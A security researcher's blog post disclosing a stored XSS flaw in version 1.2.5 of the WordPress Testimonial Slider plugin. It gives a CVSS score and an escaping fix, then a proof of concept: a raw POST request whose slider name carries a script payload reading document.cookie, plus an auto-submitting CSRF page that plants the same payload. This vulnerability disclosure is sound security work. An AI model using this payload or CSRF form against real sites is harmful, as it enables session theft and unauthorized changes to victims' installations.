Stored XSS in wordpress plugin testimonial-slider

by Vinnie Vanhoecke — on  ,  , 

cover-image

Introduction

So instead of playing CTF challenges in the evening I decided to go for CVE hunting. As this was my first time really doing this I opted to start easy with some wordpress plugins to find any vulnerabilities. Once I found a vulnerability I reported the details to plugins@wordpress.com and then filled in the details in CVE Form to assign a CVE to the vulnerability. I don't consider this vulnerability a high impact vulnerability but it was just to see needed to be done to get the CVE.

Vulnerability information

Title: Stored XSS in Testimonial-slider plugin (Wordpress)
Plugin: Testimonial Slider
CVSS score: 3.3 AV:N/AC:L/PR:L/UI:R/S:U/C:N/I:L/A:N/E:P/RL:X/RC:X
Testimonial-slider version tested: 1.2.5
Wordpress version tested: 4.9.6
Possible to combine with a CSRF attack if no other CSRF counter measures are present in the wordpress application.

Remediation

Escape all characters when outputting the values in the response. This could be done by using a decent escaping function in the file settings/sliders.php on line 97

<li class="yellow"><a href="#tabs-<?php echo $slider['slider_id']; ?>"><?php echo htmlentities($slider['slider_name']); ?></a></li>

POC

An authenticated user could store an XSS payload using the testimonial-plugin. When creating a slider name the function fails to sanitise the '<' and '>'. There are some characters escaped (eg ' ")so this increases the difficulty to exploit it. Nevertheless it is still possible. The following post request shows an example of an XSS payload:

POST /wp-admin/admin.php?page=testimonial-slider-admin HTTP/1.1
Host: www.example.com
User-Agent: Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:60.0) Gecko/20100101 Firefox/60.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-GB,en;q=0.5
Accept-Encoding: gzip, deflate
Referer: https://www.example.com/wp-admin/admin.php?page=testimonial-slider-admin
Content-Type: application/x-www-form-urlencoded
Content-Length: 121
Cookie: <Cookies>
Connection: close
Upgrade-Insecure-Requests: 1

create_new_slider=1&new_slider_name=slider1<script>alert(document.cookie)</script>&create_new=Create+New&active_tab=2

XSS Result

As I said before, you could combine it with a CSRF attack. But only if the application did not add any CSRF countermeasures. There could be other frameworks or plugins that can handle CSRF attacks without the knowledge of the testimonial plugin. All an attacker needs to do is force an authenticated user to visit a page that the attacker owns. The attacker would then host the following code in that web page and the CSRF attack will be send once the user clicks on "Submit request". This can be automated as well, so that the user does not know if the

<html>
  <body>
  <script>history.pushState('', '', '/')</script>
    <form action="https://www.example.com/wp-admin/admin.php?page=testimonial-slider-admin" method="POST">
      <input type="hidden" name="create&#95;new&#95;slider" value="1" />
      <input type="hidden" name="new&#95;slider&#95;name" value="slider1&lt;script&gt;alert&#40;document&#46;cookie&#41;&lt;&#47;script&gt;" />
      <input type="hidden" name="create&#95;new" value="Create&#32;New" />
      <input type="hidden" name="active&#95;tab" value="2" />
      <input type="submit" value="Submit request" />
    </form>
  </body>
</html>